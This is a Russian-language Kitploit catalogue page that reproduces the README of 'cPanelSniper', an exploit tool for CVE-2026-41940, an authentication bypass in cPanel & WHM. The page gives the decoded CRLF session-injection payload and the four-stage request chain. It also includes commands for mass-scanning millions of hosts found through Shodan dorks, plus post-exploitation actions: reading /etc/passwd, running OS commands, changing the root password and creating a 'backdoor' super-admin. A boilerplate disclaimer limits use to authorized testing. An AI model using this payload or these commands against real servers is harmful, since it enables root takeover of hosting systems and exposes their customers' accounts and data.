Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cpsniper — cPanelSniper STABLE — CVE-2026-41940, оптимизирован для 10M+ целей | Kitploit
Инструменты/GitHubGitHub/44pie/cpsniper
Аутентификация и авторизацияСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHub44pie/cpsniper

cpsniper

cPanelSniper STABLE — CVE-2026-41940, оптимизирован для 10M+ целей

Репозиторий
23 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию в файл сессии
Цепочка эксплойта из 4 этапов · Интерактивная WHM-оболочка · СТАБИЛЬНО для 10M+ целей · Нулевое использование памяти · только stdlib


Обзор

cPanelSniper — это специализированный фреймворк для эксплуатации CVE-2026-41940, критической уязвимости обхода аутентификации, затрагивающей cPanel & WHM. Уязвимость позволяет неаутентифицированным удалённым атакующим получить root-доступ к WHM путём внедрения CRLF-последовательностей в файл сессии через HTTP-заголовок Authorization — без каких-либо действительных учётных данных.

  • Оценка CVSS: 10.0 (критическая)
  • Эксплуатация в дикой природе: подтверждена (апрель 2026)
  • Затронутые установки: ~70 миллионов доменов, работающих на cPanel & WHM
  • Без зависимостей: чистый Python stdlib — без pip, без requests, без внешних пакетов

Только для авторизованного тестирования на проникновение и программ bug bounty.


⚡ СТАБИЛЬНАЯ ВЕРСИЯ

Эта версия оптимизирована для сканирования 10 000 000+ целей с НУЛЕВЫМ использованием памяти.

Что было исправлено

Ключевые возможности

  • Потоковая архитектура — обработка 10M+ целей без загрузки в память
  • Ноль OOM-сбоев — даже с очень большими списками целей
  • Автовозобновление — продолжите с места остановки с помощью --resume
  • Прогресс в реальном времени — ETA, скорость сканирования, отслеживание ошибок
  • Периодическое сохранение — результаты автоматически сохраняются для предотвращения потери данных
  • Готовность к пайплайнам — бесшовная работа с subfinder, httpx, shodan

Как это работает

Корневая причина находится в Session.pm: функция saveSession() вызывает filter_sessiondata() после записи файла сессии на диск. Это означает, что CRLF-символы, встроенные в значение заголовка Authorization: Basic, записываются дословно в файл сессии, внедряя контролируемые атакующим поля до санитизации.

root@kitploit:~
Нормальный поток:
  POST /login/ → filter_sessiondata() → запись сессии → проверка аутентификации

Уязвимый поток:
  POST /login/ → запись сессии (внедрена CRLF-нагрузка) → filter_sessiondata() → проверка аутентификации читает отравленный файл

CRLF-нагрузка

Значение Authorization: Basic декодируется в:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Эти поля записываются непосредственно в файл сессии на диске. При обратном чтении cPanel обрабатывает сессию как полностью аутентифицированную root-сессию.

Цепочка эксплойта из 4 этапов

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Этап 0 — Обнаружение канонического имени хоста             │
│  GET /openid_connect/cpanelid → 307 → реальное имя хоста    │
├─────────────────────────────────────────────────────────────┤
│  Этап 1 — Создание preauth-сессии                           │
│  POST /login/?login_only=1  (неверные учётные данные)       │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Этап 2 — CRLF-инъекция                                     │
│  GET / + Cookie: session + Authorization: Basic <нагрузка>  │
│  cpsrvd записывает CRLF-поля в файл сессии                  │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Этап 3 — Распространение (гаджет do_token_denied)          │
│  GET /scripts2/listaccts                                    │
│  Триггер сброса raw→cache — внедрённые поля активируются    │
│  ← 401 Token denied (ожидаемо)                              │
├─────────────────────────────────────────────────────────────┤
│  Этап 4 — Проверка root-доступа к WHM                       │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = ВЗЛОМАН        │
└─────────────────────────────────────────────────────────────┘

Затронутые версии


Установка

root@kitploit:~
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

Установка pip не требуется. Только чистый Python 3.8+ stdlib.


Использование

Базовое сканирование

root@kitploit:~
# Одиночная цель — только сканирование
python3 cPanelSniper.py -u https://target.com:2087

# Одиночная цель — интерактивная оболочка после обхода
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Большой список целей — 10M+ целей (СТАБИЛЬНО)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Возобновление прерванного сканирования
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

Действия после эксплуатации

root@kitploit:~
# Список всех учётных записей cPanel на сервере
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Выполнение OS-команды
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Получение информации о сервере (имя хоста, нагрузка, диск, MySQL host)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Получение версии cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Смена пароля root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Интерактивная WHM-оболочка
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Пайплайны (СТАБИЛЬНО для больших списков)

root@kitploit:~
# subfinder → httpx → сохранение в файл → сканирование 10M+ целей
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Из списка scope — обработка миллионов доменов
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Результаты Shodan — массовое сканирование
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# Пайп stdin — только для небольших списков (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

# Несколько источников вместе → сканирование большого масштаба
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

Рекомендации для СТАБИЛЬНОЙ работы

Для сканирования 10M+ целей:

  1. Всегда сначала сохраняйте в файл — не используйте прямой пайп для больших списков

    root@kitploit:~
    # ХОРОШО — работает с 10M+ целями
    httpx ... > targets.txt
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
    
    # ПЛОХО — упадёт с большими списками
    httpx ... | python3 cPanelSniper.py
    
  2. Используйте подходящее количество потоков

    • 10-20 потоков: 100K целей
    • 30-50 потоков: 1M-10M целей
    • 50-100 потоков: 10M+ целей
  3. Включите автовозобновление для длительных сканирований

    root@kitploit:~
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
    

    При прерывании просто запустите снова с --resume

  4. Отслеживайте прогресс

    • ETA в реальном времени
    • Результаты сохраняются каждые 60 секунд
    • Ctrl+C сохраняет все находки

Интерактивная WHM-оболочка

После успешного обхода флаг --action shell открывает интерактивное приглашение:

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Версия: CVE-2026-41940 | Auth: CRLF bypass
  Введите 'help' для команд, 'exit' для выхода
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel Accounts]  target.com:2087 (47 пользователей)
    user01               domain: example.com    email: [email protected]
    user02               domain: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Server Info]  https://target.com:2087
  hostname: srv01.target.com
  load: 0.72 / 0.66 / 0.69
  version: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [БЭКДОР-АДМИН СОЗДАН]
  Цель    : https://target.com:2087
  Логин   : mitsec
  Пароль  : P@ss2026!
  Профиль : super_admin

[email protected] ▶ exit

Команды оболочки


Справочник CLI

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--resume]
                       [-o OUTPUT] [--no-color] [--save-interval N]

Цель:
  -u, --url URL          URL одиночной цели (например, https://host:2087)
  -l, --list LIST        Файл с URL (по одному на строку)
  --hostname HOSTNAME    Переопределить канонический Host-заголовок (автообнаружение)

Сканирование:
  -t, --threads N        Параллельные потоки (по умолчанию: 20)
  --timeout N            Таймаут запроса в секундах (по умолчанию: 15)
  --resume               Возобновить с предыдущего сканирования (пропустить обработанные цели)

Вывод:
  -o, --output FILE      Сохранить результаты в JSON-файл
  --no-color             Отключить ANSI-цвета
  --save-interval N      Сохранять результаты каждые N секунд (по умолчанию: 60)

Shodan Dorks

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

Пример вывода

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию
  4 этапа: preauth → CRLF inject → propagate → verify → post-exploit
  In-The-Wild | CVSS 10.0 | Автор: Mitsec (@ynsmroztas)

  Конфигурация:
   Цели    : 1
   Потоки  : 10
   Таймаут : 15s
   Действие: list

14:46:22 [SCAN] Запуск цепочки эксплойта из 4 этапов... https://target.com:2087
14:46:23 [INFO] Обнаружено каноническое имя хоста: srv01.target.com
14:46:23 [STEP] Этап 1/4 — Создание preauth-сессии...
14:46:23 [  OK] Этап1: preauth-сессия = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Этап 2/4 — CRLF-инъекция через заголовок Authorization...
14:46:24 [  OK] Этап2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Этап 3/4 — Запуск гаджета do_token_denied (raw→cache)...
14:46:25 [  OK] Этап3: HTTP 401 — гаджет do_token_denied запущен
14:46:25 [STEP] Этап 4/4 — Проверка root-доступа к WHM...
14:46:26 [PWND] CVE-2026-41940 ПОДТВЕРЖДЁН — root-доступ к WHM!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Версия   : 11.130.0.6
14:46:26 [PWND]   API URL  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Выполнение действия после эксплуатации: list
14:46:27 [ API] listaccts → HTTP 200

  [cPanel Accounts]  target.com:2087 (47 учётных записей)
    client01    domain: client01.com    email: [email protected]
    client02    domain: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Сканирование завершено
  Время: 5.8s  ·  Цели: 1

  ⚡ 1 УЯЗВИМАЯ ЦЕЛЬ(И)

  Цель     : https://target.com:2087
  Версия   : 11.130.0.6
  Token    : /cpsess8493537756
  API URL  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

Технические детали

Инъекция в файл сессии

Внедрённое значение Authorization: Basic (декодированное из base64) содержит CRLF-последовательности, которые становятся переводами строк в файле сессии cPanel:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

Читатель сессий cPanel анализирует их как легитимные поля сессии, предоставляя полный root-доступ к WHM.

Этап 3 — Гаджет do_token_denied

Критический и часто упускаемый из виду шаг: после CRLF-инъекции (Этап 2) отравленные данные сессии существуют только в сыром файле сессии. Запрос к /scripts2/listaccts запускает внутренний обработчик do_token_denied, который сбрасывает сырые данные сессии в кэш сессии. Без этого сброса Этап 4 вернул бы 403.

Извлечение токена сессии

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- ob hash (удаляется)
                              +-- имя сессии (используется для инъекции)

Имя сессии (до %2C) извлекается и используется как значение cookie для последующих запросов.


Ссылки

  • watchTowr Labs — Технический анализ CVE-2026-41940
  • Бюллетень безопасности cPanel
  • NVD — CVE-2026-41940
  • Блог Hadrian — Анализ CVE-2026-41940
  • Шаблон Nuclei — CVE-2026-41940

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и программ bug bounty. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности и не отвечает за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием.


Автор

Mitsec — @ynsmroztas

  • 🏆 Топ-хакер — Intigriti
  • 🐛 Раскрыто 2 430+ уязвимостей
  • 💀 1 100+ критических находок P1
  • 🏅 100+ признаний в Hall of Fame

Сделано с ❤️ @ynsmroztas

Скачать инструмент
ПроблемаОригинальная версияИсправленная версия
Использование памятиЗагружает все цели в ОЗУПотоковая обработка целей построчно (0 памяти)
10M целейOOM → Убит ❌Завершается успешно ✅
ВозобновлениеНе поддерживаетсяФлаг --resume
ПрогрессНет ETAETA в реальном времени + скорость + статистика
РезультатыСохраняются только в концеСохраняются каждые 60 с (настраивается)
ВеткаУязвимаяИсправленная
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
КомандаОписание
id / whoamiПоказать UID и имя хоста
hostnameПолучить имя хоста сервера
versionИнформация о версии cPanel
infoНагрузка, диск, MySQL host, версия
accountsСписок всех учётных записей пользователей cPanel
cat <path>Чтение содержимого файла
ls [path]Список каталога
exec <cmd>Выполнение OS-команды
addadmin <user> <pass>Создание бэкдор-администратора WHM
passwd <pass>Смена пароля root
api <endpoint> [k=v ...]Прямой вызов WHM JSON API
helpПоказать все команды
exitВыход из оболочки